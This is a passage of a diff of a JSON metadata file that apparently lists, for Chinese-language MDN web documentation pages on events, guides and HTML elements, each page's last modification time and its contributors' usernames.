"modified": "2020-10-15T21:53:37.639Z", - "contributors": [ - "narol", - "RainSlide", - "tsukimiya", - "Xiao4", - "1986slayer" - ] - }, "Web/EXSLT": { "modified": "2019-01-16T21:33:48.141Z", "contributors": [ @@ -31884,18919 +28819,21984 @@ "louisremi" ] }, - "Web/Events/DOMContentLoaded": { - "modified": "2020-10-15T21:21:31.073Z", + "Web/Guide": { + "modified": "2020-09-13T04:05:26.959Z", "contributors": [ - "windybniw", - "shaw1121", - "knightyun", - "1v9", - "wbamberg", - "hhxxhg", - "274659281", - "fscholz", - "Niefee", - "xgqfrms-GitHub", - "BoatGina", - "broven", - "bambooom", - "ZivHe", - "ziyunfei", - "less", - "monjer", - "jtyjty99999" + "Futrime", + "Oliver_Queen", + "RainSlide", + "codekissyoung", + "jiahui", + "yuntian", + "Go7hic", + "Ende93", + "slzll", + "zengAlex", + "lunix01", + "markyun", + "wtb", + "Kasuganosora", + "ethertank" ] }, - "Web/Events/abort": { - "modified": "2019-04-30T14:23:21.618Z", + "Web/Guide/AJAX": { + "modified": "2020-08-06T07:28:20.783Z", "contributors": [ - "wbamberg", - "hhxxhg", - "fscholz", - "xgqfrms-GitHub", - "m2mbob" + "luojia", + "Yang-yibu", + "anchen", + "makaria", + "chunnallu", + "chrisdavidmills", + "renzhengyu", + "MMHGH", + "zjhch123", + "XiaoyaoChen", + "Noly1990" ] }, - "Web/Events/afterprint": { - "modified": "2020-10-15T21:52:37.979Z", + "Web/Guide/AJAX/Getting_Started": { + "modified": "2020-05-09T09:42:30.390Z", "contributors": [ - "weibangtuo", - "fscholz", - "xgqfrms-GitHub" + "Mookiepiece", + "JiLiangLai", + "HCSkatana", + "realchoi", + "Mew_MDN", + "SalmonDaze", + "zazaliu", + "chrisdavidmills", + "shifengchen", + "tangc1", + "RogerShen" ] }, - "Web/Events/afterscriptexecute": { - "modified": "2020-10-15T21:52:39.291Z", + "Web/Guide/API": { + "modified": "2019-03-23T23:17:06.067Z", "contributors": [ "RainSlide", - "fscholz", - "xgqfrms-GitHub" - ] - }, - "Web/Events/animationend": { - "modified": "2019-03-23T22:08:23.322Z", - "contributors": [ - "PaperFlu" - ] - }, - "Web/Events/animationstart": { - "modified": "2019-03-23T23:17:59.744Z", - "contributors": [ - "PaperFlu", - "fscholz", - "ziyunfei", - "shevche24" + "Sheppy" ] }, - "Web/Events/beforeprint": { - "modified": "2020-10-15T21:52:38.969Z", + "Web/Guide/Audio_and_video_delivery": { + "modified": "2020-07-13T02:25:56.180Z", "contributors": [ - "weibangtuo", - "fscholz", - "xgqfrms-GitHub" + "lizzxc", + "chrisdavidmills" ] }, - "Web/Events/beforescriptexecute": { - "modified": "2020-10-15T21:29:36.732Z", + "Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video": { + "modified": "2020-10-27T07:00:04.677Z", "contributors": [ - "RainSlide", - "fscholz", - "ziyunfei", - "LinusYu" + "ICLOUDIRIS", + "FranzList" ] }, - "Web/Events/beforeunload": { - "modified": "2020-10-15T21:34:03.122Z", + "Web/Guide/Audio_and_video_delivery/WebAudio_playbackRate_explained": { + "modified": "2019-03-18T20:51:41.158Z", "contributors": [ - "pe4ch", - "Carllllo", - "MikeLeon23", - "Junezm", - "xgqfrms", - "wbamberg", - "HereChen", - "luhaimin", - "sqchenxiyuan", - "tcatche", - "maxsky", - "Tienyz", - "monjer" + "chrisdavidmills", + "dandanbu3" ] }, - "Web/Events/blur": { - "modified": "2019-03-23T22:23:55.603Z", + "Web/Guide/Audio_and_video_delivery/buffering_seeking_time_ranges": { + "modified": "2019-03-18T20:51:41.383Z", "contributors": [ - "hhxxhg", - "hyh19962008", - "fscholz", - "m2mbob" + "chrisdavidmills", + "zhangqiong" ] }, - "Web/Events/change": { - "modified": "2020-10-15T21:32:01.453Z", + "Web/Guide/CSS/Block_formatting_context": { + "modified": "2020-12-09T10:24:24.921Z", "contributors": [ - "ljdmailbox", - "Clarkkkk", - "LIXiangChen", - "fscholz", - "yangxiaoqiao", + "xmasuhai", + "SDUTWSL", + "Ninglo", + "MinimalistYing", + "shanyuhai123", + "ylc395", + "GlowMonster", + "SageX", + "dylanyg", + "xunzhonglee", + "wavesheep", + "Mookiepiece", + "awayjin", + "dongsuo", + "ju1234", + "maoyumaoxun", + "helloyong", + "Terry.Qiao", + "Akiq2016", + "luoway", + "lanyuechen", + "zerosrat", + "young122849", + "Programmox", + "herofei", "xgqfrms-GitHub", - "azhi09", + "XiongAmao", + "yisibl", + "Ende93", + "zengkan0703", + "TiaossuP", + "kevinfszu", + "FredWe", "ziyunfei", - "charlie" + "haofu", + "xmlovecss", + "teoli", + "yan" ] }, - "Web/Events/compositionend": { - "modified": "2019-04-30T13:56:51.967Z", + "Web/Guide/Events": { + "modified": "2019-03-23T23:20:12.541Z", "contributors": [ - "wbamberg", - "TreeVie", - "leehomeok" + "Imagine-Tom", + "tcatche", + "NoDocCat", + "Tankunpeng", + "Jeremie" ] }, - "Web/Events/compositionstart": { - "modified": "2020-10-15T21:43:38.190Z", + "Web/Guide/Events/Creating_and_triggering_events": { + "modified": "2020-05-27T10:29:01.846Z", "contributors": [ "Carllllo", - "wbamberg", - "superfighter", - "StaicCai", - "laobubu" + "xingleizhao", + "but0n", + "zhangchen", + "LuSitong", + "Iamxiaozhu", + "ucev", + "xgqfrms-GitHub", + "ZhengYinBo", + "carllx", + "timwangdev", + "FredWe", + "ReyCG_sub" ] }, - "Web/Events/compositionupdate": { - "modified": "2019-04-30T14:03:15.654Z", + "Web/Guide/Events/Event_handlers": { + "modified": "2019-03-23T23:20:11.825Z", "contributors": [ - "wbamberg", - "fscholz", - "laobubu" + "tcatche", + "Le-Fu", + "xgqfrms-GitHub", + "ziyunfei", + "Darrel.Hsu" ] }, - "Web/Events/copy": { - "modified": "2019-04-30T13:59:22.378Z", + "Web/Guide/Events/Media_events": { + "modified": "2020-07-02T07:14:48.714Z", "contributors": [ - "wbamberg", - "zhangchen", - "fscholz", - "inottn", - "maicss" + "9aoyang", + "haocity", + "TimRChen", + "maicss", + "GSBL", + "bizbin", + "esterTion", + "SudoKillMe", + "zilong-thu", + "ziyunfei", + "Anonymous" ] }, - "Web/Events/cut": { - "modified": "2019-04-30T14:14:11.414Z", + "Web/Guide/Events/Mutation_events": { + "modified": "2019-03-23T22:51:23.609Z", "contributors": [ - "wbamberg", - "chenyanfei-m" + "Pada", + "peonyriver", + "FredWe" ] }, - "Web/Events/error": { - "modified": "2020-10-15T21:34:06.283Z", + "Web/Guide/Events/Orientation_and_motion_data_explained": { + "modified": "2019-03-23T23:10:07.666Z", "contributors": [ - "pe4ch", - "liuruiqi1993", - "fscholz", - "Daqin", - "monjer" + "fancy" ] }, - "Web/Events/focus": { - "modified": "2019-03-31T11:52:42.546Z", + "Web/Guide/Events/Overview_of_Events_and_Handlers": { + "modified": "2019-03-23T22:51:31.630Z", "contributors": [ - "fscholz", - "VictorDu" + "Song2017", + "FredWe" ] }, - "Web/Events/focusout": { - "modified": "2019-03-23T22:15:46.626Z", + "Web/Guide/Graphics": { + "modified": "2020-12-07T03:47:26.253Z", "contributors": [ - "fscholz", - "liuhe" + "SphinxKnight", + "Vongola-czr", + "Mookiepiece", + "RainSlide", + "zhuangyin", + "ITxiaochong", + "pluwen", + "m4jing", + "jinger7281", + "wth", + "rockywen", + "ryerh", + "wanglingzhi", + "Kasuganosora", + "Hikerpig" ] }, - "Web/Events/icecandidate": { - "modified": "2020-02-07T11:21:30.934Z", + "Web/Guide/HTML/Content_categories": { + "modified": "2019-09-24T00:45:30.074Z", "contributors": [ - "zotille", - "wbamberg", - "BillgoXu" + "Metaloe", + "gnepnaiL-oahZ", + "unclesamnumberone", + "jizhi77", + "ZeroJsus", + "huozicheng", + "AllenYangFly", + "arya0822", + "kevinfszu", + "pantao", + "LuyaoWang", + "FredWe" ] }, - "Web/Events/input": { - "modified": "2020-10-15T21:30:28.054Z", + "Web/Guide/HTML/HTML5": { + "modified": "2019-04-29T21:49:51.078Z", "contributors": [ - "Carllllo", - "Freezer", - "chess99", - "shijistar", - "fscholz", + "vanpipy", + "mike-j", + "GameWang", + "fanerge", + "mfoonirlee", + "Summer1026", "xgqfrms-GitHub", - "laobubu", + "Go7hic", + "panhe-xue", + "ObooChin", + "kevinfszu", + "teoli", + "xgqfrms", + "fghycode", + "jasonworg", + "mengzyou", + "Breezewish", + "Jianming", "ziyunfei", - "lyklykkkkkkk" + "xuxun", + "TimZhao", + "sunnylost", + "xcffl", + "princetoad@gmail.com" ] }, - "Web/Events/load": { - "modified": "2020-10-15T21:36:32.271Z", + "Web/Guide/HTML/HTML5/Constraint_validation": { + "modified": "2020-08-07T06:53:08.941Z", "contributors": [ - "pe4ch", - "Mookiepiece", - "fscholz", - "xgqfrms-GitHub", - "kun.yan" + "Nierifeng", + "shiyi25928988", + "yongchen" ] }, - "Web/Events/loadend": { - "modified": "2019-03-23T22:16:58.948Z", + "Web/Guide/HTML/HTML5/Introduction_to_HTML5": { + "modified": "2019-03-24T00:12:23.341Z", "contributors": [ - "fscholz", - "wudexiang", - "xgqfrms-GitHub" + "eeeeeeeason", + "YueBiYang", + "008", + "guotingchaopr", + "ziyunfei", + "ibeen", + "gaoyanqi", + "leegorous" ] }, - "Web/Events/loadstart": { - "modified": "2019-03-23T22:29:32.098Z", + "Web/Guide/Localizations_and_character_encodings": { + "modified": "2020-05-07T10:52:56.537Z", "contributors": [ - "fscholz", - "faremax", - "Lxxyx" + "Ende93", + "91JOJO", + "xdsnet" ] }, - "Web/Events/message": { - "modified": "2020-10-15T21:57:50.780Z", + "Web/Guide/Mobile": { + "modified": "2019-03-23T23:20:37.061Z", "contributors": [ - "Spikef", - "wbamberg", - "Lim", - "CrystalY", - "Yongest", - "hellowrenfei" + "TaoWei", + "mywentu", + "peterwang1996", + "qry", + "liminjun", + "xbzhs", + "duan.xiaodong", + "wanglong", + "ziyunfei" ] }, - "Web/Events/mousewheel": { - "modified": "2019-03-18T21:09:07.563Z", + "Web/Guide/Parsing_and_serializing_XML": { + "modified": "2019-08-12T08:51:44.801Z", "contributors": [ - "fscholz", - "soYawn" + "RainSlide", + "haaling" ] }, - "Web/Events/pageshow": { - "modified": "2020-05-15T03:40:03.122Z", + "Web/Guide/Performance": { + "modified": "2020-10-09T03:08:14.338Z", "contributors": [ - "BluesVN", - "lalaemls", - "WangShaoyu1", - "fscholz", - "shm" + "kite-js", + "SphinxKnight", + "Imagine-Tom", + "yexk", + "leozhang", + "sunnylost", + "DAVINDAI", + "ziyunfei" ] }, - "Web/Events/paste": { - "modified": "2020-10-15T21:52:19.374Z", + "Web/HTML": { + "modified": "2020-05-18T02:45:10.401Z", "contributors": [ - "qiudongwei", - "wbamberg", - "maicss" + "SphinxKnight", + "MrWangYaNan", + "mkckr0", + "Mengli", + "853419196", + "xmcgcg", + "xq20160912", + "RainSlide", + "fanerge", + "abramsz", + "wangfy", + "fenyu", + "asthman666", + "mao001", + "vizardsLau", + "Planet6174", + "pluwen", + "ChangJun2018", + "robsean", + "ldwformat", + "xixilog", + "wh1msy", + "xx1124961758", + "little-love", + "Shadowhiker", + "Blink", + "ylws", + "liugev6", + "fygyx1", + "pkl6612", + "mona", + "PoppinL", + "ziyunfei", + "lunix01", + "Breezewish", + "xuxun", + "allan_simon", + "TimZhao", + "jessiecaisme", + "Futao.Gao" ] }, - "Web/Events/readystatechange事件": { - "modified": "2020-10-15T21:56:00.168Z", + "Web/HTML/Applying_color": { + "modified": "2020-07-22T05:27:42.410Z", "contributors": [ - "Carllllo", - "RainSlide", - "zhangchen", - "fscholz", - "abc45628" + "WinterCicada", + "Dorence" ] }, - "Web/Events/transitionend": { - "modified": "2019-11-15T05:44:51.899Z", + "Web/HTML/Attributes": { + "modified": "2020-08-28T22:38:07.073Z", "contributors": [ - "joshchiucn", - "fscholz", - "zhuangyin", - "SeriousL", - "dlengks", + "nodeZ", + "fygyx1", + "tys", + "Carllllo", + "MartinsYong", + "enoorez", + "yhs-APerson", + "yuehp", + "PoppinL", "ziyunfei", - "jtyjty99999" + "phoenixLU" ] }, - "Web/Events/unhandledrejection": { - "modified": "2020-10-15T22:03:35.162Z", + "Web/HTML/Block-level_elements": { + "modified": "2019-03-18T20:38:24.578Z", "contributors": [ - "xuquentinyang", - "liangbus", - "RainSlide", - "wbamberg", - "Lie8466", - "zhaoqize" + "kmc947373", + "CraigZeng", + "FredWe", + "Breezewish", + "teoli", + "ziyunfei", + "wdlth" ] }, - "Web/Events/unload": { - "modified": "2020-10-15T21:21:37.553Z", + "Web/HTML/CORS_enabled_image": { + "modified": "2020-05-06T06:27:48.960Z", "contributors": [ - "pe4ch", - "acelibin", - "fscholz", + "oxyg3n", + "guow10", + "PaulHan", + "wYhooo", "xgqfrms-GitHub", + "kmc947373", "ziyunfei", - "jtyjty99999" + "Breezewish" ] }, - "Web/Events/进度条": { - "modified": "2020-10-15T21:49:44.294Z", + "Web/HTML/Element": { + "modified": "2019-12-03T05:56:52.523Z", "contributors": [ + "RainSlide", + "eforegist", + "XiangHongAi", + "mdnjcc", + "hoyt", + "jian86392088", + "VdoG", + "ruilee16", + "jesse0x90", "Ende93", - "957398123", - "fscholz", - "roberthow", - "fengfu" + "Martin.Chow", + "Breezewish", + "ziyunfei", + "gqqnbig", + "jessiecaisme", + "xcffl", + "teoli", + "Cnmahj" ] }, - "Web/Guide": { - "modified": "2020-09-13T04:05:26.959Z", + "Web/HTML/Element/Heading_Elements": { + "modified": "2020-10-15T21:08:04.205Z", "contributors": [ - "Futrime", - "Oliver_Queen", + "gafish", + "imba-tjd", "RainSlide", - "codekissyoung", - "jiahui", - "yuntian", - "Go7hic", + "wizardforcel", + "HashubWang", + "venden", "Ende93", - "slzll", - "zengAlex", - "lunix01", - "markyun", - "wtb", - "Kasuganosora", - "ethertank" + "ziyunfei" ] }, - "Web/Guide/AJAX": { - "modified": "2020-08-06T07:28:20.783Z", + "Web/HTML/Element/Input": { + "modified": "2020-05-27T10:36:01.533Z", "contributors": [ - "luojia", - "Yang-yibu", - "anchen", - "makaria", - "chunnallu", - "chrisdavidmills", - "renzhengyu", - "MMHGH", - "zjhch123", - "XiaoyaoChen", - "Noly1990" + "Carllllo", + "Rem486", + "wxyads", + "853419196", + "JuliusKingsley", + "zhangchen", + "qihuanlu01", + "zaixuzheng", + "yangshang01", + "yuyx91", + "voidzhou", + "hebby", + "jiangseventeen", + "fsx950223", + "Tiaen", + "xgqfrms-GitHub", + "liaoyinglong", + "adam198824", + "liyongleihf2006", + "AutumnFish", + "luobotang", + "gqqnbig", + "Ivan_V", + "zilong-thu", + "Metalooze", + "tiansh", + "ziyunfei", + "rnoka" ] }, - "Web/Guide/AJAX/Getting_Started": { - "modified": "2020-05-09T09:42:30.390Z", + "Web/HTML/Element/Input/button": { + "modified": "2019-03-18T21:28:02.958Z", "contributors": [ - "Mookiepiece", - "JiLiangLai", - "HCSkatana", - "realchoi", - "Mew_MDN", - "SalmonDaze", - "zazaliu", - "chrisdavidmills", - "shifengchen", - "tangc1", - "RogerShen" + "zaixuzheng", + "bear-x" ] }, - "Web/Guide/API": { - "modified": "2019-03-23T23:17:06.067Z", + "Web/HTML/Element/Input/checkbox": { + "modified": "2019-07-01T05:04:47.435Z", "contributors": [ - "RainSlide", - "Sheppy" + "konrumi" ] }, - "Web/Guide/API/DOM": { - "modified": "2019-03-23T23:28:38.723Z", + "Web/HTML/Element/Input/color": { + "modified": "2019-03-23T22:16:45.281Z", "contributors": [ - "ziyunfei", - "paddingme", - "Carrott", - "Kasuganosora", - "Sheppy" + "ecnelises", + "litmonw", + "konrumi" ] }, - "Web/Guide/API/DOM/Storage": { - "modified": "2019-03-24T00:14:59.754Z", + "Web/HTML/Element/Input/date": { + "modified": "2019-03-23T22:01:59.059Z", "contributors": [ - "ziyunfei", - "celinestar", - "hutuxu", - "Sheppy", - "qiumaoyuan", - "aokihu", - "zhengzong.fu", - "Carrie zhxj" + "LeonH", + "WeiGrand", + "tangj1206" ] }, - "Web/Guide/API/DOM/The_structured_clone_algorithm": { - "modified": "2019-03-23T22:19:28.512Z", + "Web/HTML/Element/Input/datetime": { + "modified": "2019-07-13T11:00:17.487Z", + "contributors": [ + "853419196", + "wizardforcel" + ] + }, + "Web/HTML/Element/Input/datetime-local": { + "modified": "2020-10-24T12:05:38.587Z", "contributors": [ + "HermitSun", + "ThaddeusJiang", "zhangchen", - "xgqfrms-GitHub", - "kameii", - "liuqipeng417", - "FredWe" + "kite-js" ] }, - "Web/Guide/Audio_and_video_delivery": { - "modified": "2020-07-13T02:25:56.180Z", + "Web/HTML/Element/Input/email": { + "modified": "2020-10-15T22:07:09.640Z", "contributors": [ - "lizzxc", - "chrisdavidmills" + "Chattille", + "CiaoLee", + "zaixuzheng" ] }, - "Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video": { - "modified": "2020-10-27T07:00:04.677Z", + "Web/HTML/Element/Input/file": { + "modified": "2020-10-15T21:55:53.292Z", "contributors": [ - "ICLOUDIRIS", - "FranzList" + "mkckr0", + "DreamLxq", + "hehe1111", + "alfredchan3", + "zhangchen", + "vippiv", + "AmyFoxFN", + "YinlongCoding", + "chinafootballyu", + "zxc5800", + "wizardforcel", + "ezirmusitua" ] }, - "Web/Guide/Audio_and_video_delivery/WebAudio_playbackRate_explained": { - "modified": "2019-03-18T20:51:41.158Z", + "Web/HTML/Element/Input/hidden": { + "modified": "2020-10-15T22:15:28.120Z", "contributors": [ - "chrisdavidmills", - "dandanbu3" + "guow10", + "RainSlide" ] }, - "Web/Guide/Audio_and_video_delivery/buffering_seeking_time_ranges": { - "modified": "2019-03-18T20:51:41.383Z", + "Web/HTML/Element/Input/image": { + "modified": "2020-10-15T21:49:38.681Z", "contributors": [ - "chrisdavidmills", - "zhangqiong" + "SphinxKnight", + "Henry", + "yu.xcode", + "MissingDreamland" ] }, - "Web/Guide/CSS/Block_formatting_context": { - "modified": "2020-12-09T10:24:24.921Z", + "Web/HTML/Element/Input/number": { + "modified": "2019-03-23T22:10:11.887Z", "contributors": [ - "xmasuhai", - "SDUTWSL", - "Ninglo", - "MinimalistYing", - "shanyuhai123", - "ylc395", - "GlowMonster", - "SageX", - "dylanyg", - "xunzhonglee", - "wavesheep", - "Mookiepiece", - "awayjin", - "dongsuo", - "ju1234", - "maoyumaoxun", - "helloyong", - "Terry.Qiao", - "Akiq2016", - "luoway", - "lanyuechen", - "zerosrat", - "young122849", - "Programmox", - "herofei", - "xgqfrms-GitHub", - "XiongAmao", - "yisibl", + "zxsunrise", + "XXXS", + "hmzll", "Ende93", - "zengkan0703", - "TiaossuP", - "kevinfszu", - "FredWe", - "ziyunfei", - "haofu", - "xmlovecss", - "teoli", - "yan" + "xgqfrms-GitHub" ] }, - "Web/Guide/CSS/CSS_Image_Sprites": { - "modified": "2019-03-23T23:22:22.347Z", + "Web/HTML/Element/Input/password": { + "modified": "2020-10-15T22:06:31.185Z", "contributors": [ - "RainSlide", - "ReyCG_sub", - "bingguo", - "Wenbin" + "byouw", + "zaixuzheng" ] }, - "Web/Guide/CSS/CSS基础": { - "modified": "2019-03-18T20:41:49.035Z", + "Web/HTML/Element/Input/radio": { + "modified": "2020-10-15T21:55:25.436Z", "contributors": [ - "fscholz", - "Go7hic", - "Mrzzchao" + "luohuayouyi12138", + "LeonZou", + "zhangchen", + "wizardforcel" ] }, - "Web/Guide/CSS/Consistent_list_indentation": { - "modified": "2019-03-23T23:22:24.362Z", + "Web/HTML/Element/Input/reset": { + "modified": "2020-10-15T22:25:10.687Z", "contributors": [ - "freshSep", - "Wenbin" + "guow10" ] }, - "Web/Guide/CSS/Counters": { - "modified": "2019-03-23T23:28:24.261Z", + "Web/HTML/Element/Input/search": { + "modified": "2020-10-15T22:25:21.244Z", "contributors": [ - "Ende93", - "Jiang-Xuan", - "Jiasm", - "Nightingale" + "Lin-dreamer", + "guow10" ] }, - "Web/Guide/CSS/Getting_started": { - "modified": "2019-03-23T23:51:15.283Z", + "Web/HTML/Element/Input/submit": { + "modified": "2020-10-15T22:05:11.959Z", "contributors": [ - "Harvesty", - "Ende93", - "ziyunfei", - "teoli", - "Chajn", - "sunnylost", - "playts", - "Ianyang", - "Verruckt", - "Mgjbot", - "Zuzu" + "guow10", + "RainSlide", + "bingxl" ] }, - "Web/Guide/CSS/Getting_started/Boxes": { - "modified": "2019-03-21T02:43:58.945Z", + "Web/HTML/Element/Input/tel": { + "modified": "2019-03-18T21:42:44.923Z", "contributors": [ - "seozed", - "Robinx", - "Harvesty", - "ziyunfei", - "teoli", - "Chajn", - "hxl" + "yuyx91" ] }, - "Web/Guide/CSS/Getting_started/Cascading_and_inheritance": { - "modified": "2019-03-23T23:20:58.387Z", + "Web/HTML/Element/Input/text": { + "modified": "2020-10-15T22:14:33.627Z", "contributors": [ - "HelloFun", - "ziyunfei", - "teoli", - "jedmeng", - "Chajn" + "guow10", + "acuptea" ] }, - "Web/Guide/CSS/Getting_started/Color": { - "modified": "2019-07-23T22:49:50.958Z", + "Web/HTML/Element/Input/time": { + "modified": "2020-10-15T22:19:46.814Z", "contributors": [ - "moposx", - "HelloFun", - "Harvesty", - "jasonzhyan", - "ziyunfei", - "teoli", - "Chajn", - "lilyh" + "kuailekai", + "jason-guo" ] }, - "Web/Guide/CSS/Getting_started/Content": { - "modified": "2020-07-16T22:25:48.610Z", + "Web/HTML/Element/Input/url": { + "modified": "2020-10-15T22:31:25.105Z", "contributors": [ - "Kilimanjaro", - "Robinx", - "Harvesty", - "ziyunfei", - "teoli", - "Chajn", - "aztack" + "yu.xcode" ] }, - "Web/Guide/CSS/Getting_started/How_CSS_works": { - "modified": "2019-03-23T23:23:25.849Z", + "Web/HTML/Element/Input/week": { + "modified": "2020-10-15T22:25:21.176Z", "contributors": [ - "HelloFun", - "ziyunfei", - "teoli", - "Chajn", - "reygreen1" + "pans9" ] }, - "Web/Guide/CSS/Getting_started/JavaScript": { - "modified": "2019-03-23T23:14:19.406Z", + "Web/HTML/Element/Shadow": { + "modified": "2019-03-23T22:10:02.975Z", "contributors": [ - "chengzise", - "Chajn", - "reygreen1" + "wizardforcel" ] }, - "Web/Guide/CSS/Getting_started/Layout": { - "modified": "2019-03-23T23:35:32.514Z", + "Web/HTML/Element/a": { + "modified": "2020-10-15T21:24:07.101Z", "contributors": [ - "Harvesty", - "jasonzhyan", - "shuson", + "gmaso", + "gafish", + "RainSlide", + "JimmieMax", + "JinRong.Yang", + "sunbeyond", + "zhaoqize", + "wizardforcel", + "Dafrok", + "xgqfrms-GitHub", + "simonguo", + "Ende93", + "Yelmor", + "yaoliyc", + "yatace", + "venden", + "FredWe", + "NIGHTEAGLE", "ziyunfei", - "mengzyou", - "teoli", - "Chajn", - "larryzhang" + "TimZhao", + "jessiecaisme" ] }, - "Web/Guide/CSS/Getting_started/Lists": { - "modified": "2019-03-23T23:20:46.740Z", + "Web/HTML/Element/abbr": { + "modified": "2020-10-15T21:24:12.293Z", "contributors": [ - "Harvesty", - "jasonzhyan", - "tolerious", - "mengzyou", + "Astroleander", + "shuihuo", + "greyyyyy", + "RainSlide", + "xianshenglu", + "Ende93", + "xgqfrms-GitHub", + "fscholz", + "xingzhi", "ziyunfei", - "teoli", - "Chajn", - "aztack" + "jessiecaisme" ] }, - "Web/Guide/CSS/Getting_started/Media": { - "modified": "2019-03-23T23:12:04.497Z", + "Web/HTML/Element/acronym": { + "modified": "2019-03-23T22:47:31.151Z", "contributors": [ - "Robinx", - "Harvesty", - "jasonzhyan", - "ziyunfei", - "yeol", - "teoli", - "Chajn" + "wizardforcel", + "xgqfrms-GitHub", + "YaohuiWu", + "pantao" ] }, - "Web/Guide/CSS/Getting_started/Readable_CSS": { - "modified": "2019-03-23T23:20:58.835Z", + "Web/HTML/Element/address": { + "modified": "2020-10-15T21:28:19.569Z", "contributors": [ - "FlameZheng", - "HelloFun", - "Harvesty", - "jasonzhyan", - "Synyan", - "neutrous", - "ziyunfei", - "teoli", - "aztack", - "reygreen1" + "gafish", + "Huangyilin19", + "RainSlide", + "rguanghui", + "xingzhi" ] }, - "Web/Guide/CSS/Getting_started/SVG_and_CSS": { - "modified": "2019-03-23T23:20:53.389Z", + "Web/HTML/Element/applet": { + "modified": "2019-03-23T22:30:12.481Z", "contributors": [ - "ziyunfei", - "teoli", - "aztack" + "chhpt" ] }, - "Web/Guide/CSS/Getting_started/Selectors": { - "modified": "2019-03-21T05:33:31.497Z", + "Web/HTML/Element/area": { + "modified": "2019-03-23T22:50:07.483Z", "contributors": [ - "yijie_sun", - "Robinx", - "HelloFun", - "Harvesty", - "jasonzhyan", - "yihuanZhang", - "futurefeeling", - "FredWe", - "chenguangqi", - "yilksd", - "ziyunfei", - "teoli", - "Chajn", - "aztack", - "bingguo" + "CLoli", + "purcy", + "Undecyce", + "lily121", + "maicss", + "liangmuyang", + "TheaAo", + "naive233", + "xrds" ] }, - "Web/Guide/CSS/Getting_started/Tables": { - "modified": "2019-03-23T23:20:48.505Z", + "Web/HTML/Element/article": { + "modified": "2020-10-15T21:26:55.414Z", "contributors": [ - "023Sparrow", - "Harvesty", - "mengzyou", + "gafish", + "SphinxKnight", + "916106840510", + "GalvinGao", + "rguanghui", "ziyunfei", - "teoli", - "Chajn", - "aztack" + "hutuxu" ] }, - "Web/Guide/CSS/Getting_started/Text_styles": { - "modified": "2019-03-23T23:20:39.790Z", + "Web/HTML/Element/aside": { + "modified": "2020-10-15T21:34:26.905Z", "contributors": [ - "Harvesty", - "neutrous", - "ziyunfei", - "teoli", - "bingguo", - "gadgetboy", - "Chajn" + "gafish", + "RainSlide", + "shlugood", + "Jacky-88", + "YifangDONG", + "kevinfszu", + "rguanghui" ] }, - "Web/Guide/CSS/Getting_started/What_is_CSS": { - "modified": "2019-03-18T20:41:48.849Z", + "Web/HTML/Element/audio": { + "modified": "2020-11-26T10:10:23.964Z", "contributors": [ - "HelloFun", - "Ende93", - "haofu", + "xusy", + "tanshaobo", + "Clarkkkk", + "RoXoM", + "wbamberg", + "HUxiaoAlinNG", + "little-tomorrow", + "Gerhut", + "mage3k", + "zhouyg", "ziyunfei", - "teoli", - "Chajn", - "sunnylost" + "snadn" ] }, - "Web/Guide/CSS/Getting_started/Why_use_CSS": { - "modified": "2019-03-23T23:24:15.853Z", + "Web/HTML/Element/b": { + "modified": "2019-03-18T20:42:37.816Z", "contributors": [ - "TomatoLovve", - "HelloFun", - "ziyunfei", - "haofu", - "teoli", - "Chajn", - "aihua" + "kite-js", + "Benjamin-Smith", + "lc-soft", + "zhuangyin", + "markyun", + "PoppinL" ] }, - "Web/Guide/CSS/Media_queries": { - "modified": "2020-05-17T23:15:16.911Z", + "Web/HTML/Element/base": { + "modified": "2020-10-15T21:32:52.441Z", "contributors": [ - "wallena3", - "Swordword", + "guow10", "RainSlide", - "wuguichiroumeiyou", - "LemonTency", - "AielloChan", - "lllvantis", - "chaiyu2002", - "ziyunfei", + "dodoBehind", + "Lux.lu", "xgqfrms-GitHub", - "Junetea", - "jggnice", - "fidejade", - "liyongleihf2006", - "AozakiOrenji", - "lokyoung", - "Sebastianz", - "mrstork", - "malayaleecoder", - "pantao", - "Ende93", - "Wenbin", - "anjianshi", - "ZhaoMing", - "Nightingale" + "TheaAo", + "betseyliu", + "eforegist", + "PythonFo", + "RainKolwa", + "chinaliyun", + "mengzyou", + "nobug" ] }, - "Web/Guide/CSS/Scaling_background_images": { - "modified": "2019-03-23T23:22:21.195Z", + "Web/HTML/Element/basefont": { + "modified": "2019-03-23T22:20:23.098Z", "contributors": [ - "Ende93", - "mrstork", - "anjia", - "figure7", - "Wenbin" + "hoyt" ] }, - "Web/Guide/CSS/Testing_media_queries": { - "modified": "2020-10-15T21:25:42.378Z", + "Web/HTML/Element/bdi": { + "modified": "2020-10-15T21:45:31.840Z", "contributors": [ - "RainSlide", - "Chajn", - "reygreen1", - "Wenbin" + "yofine", + "gafish", + "ZackBee", + "hoyt", + "Ende93" ] }, - "Web/Guide/CSS/Understanding_z_index": { - "modified": "2019-03-23T23:33:08.995Z", + "Web/HTML/Element/bdo": { + "modified": "2020-10-15T22:29:52.953Z", "contributors": [ - "zhangchen", - "ZQH", - "Go7hic", - "ziyunfei", - "teoli", - "ArthasTree" + "JerryYoung" ] }, - "Web/Guide/CSS/Understanding_z_index/Adding_z-index": { - "modified": "2019-03-23T23:21:48.784Z", + "Web/HTML/Element/bgsound": { + "modified": "2019-03-23T22:20:25.683Z", "contributors": [ - "ziyunfei", - "teoli", - "ArthasTree" + "hoyt" ] }, - "Web/Guide/CSS/Understanding_z_index/Stacking_and_float": { - "modified": "2019-03-23T23:29:39.696Z", + "Web/HTML/Element/big": { + "modified": "2019-03-23T22:20:25.885Z", + "contributors": [ + "hoyt" + ] + }, + "Web/HTML/Element/blink": { + "modified": "2019-03-23T22:20:26.966Z", "contributors": [ - "lixuguang", - "Marcia_gm", - "ziyunfei", "teoli", - "sunnylost" + "hoyt" ] }, - "Web/Guide/CSS/Understanding_z_index/Stacking_context_example_1": { - "modified": "2020-04-09T03:35:06.982Z", + "Web/HTML/Element/blockquote": { + "modified": "2020-10-15T21:31:05.486Z", "contributors": [ - "liuyibo", - "VickyJin" + "RainSlide", + "pantao", + "lisnb" ] }, - "Web/Guide/CSS/Understanding_z_index/Stacking_context_example_2": { - "modified": "2019-03-23T22:25:59.868Z", + "Web/HTML/Element/body": { + "modified": "2020-10-15T21:39:08.650Z", "contributors": [ - "Skyrelu" + "RainSlide", + "eforegist", + "kite-js", + "hoyt", + "CodeDreamfy", + "JoshuaLee", + "sweetliu", + "pantao" ] }, - "Web/Guide/CSS/Understanding_z_index/Stacking_context_example_3": { - "modified": 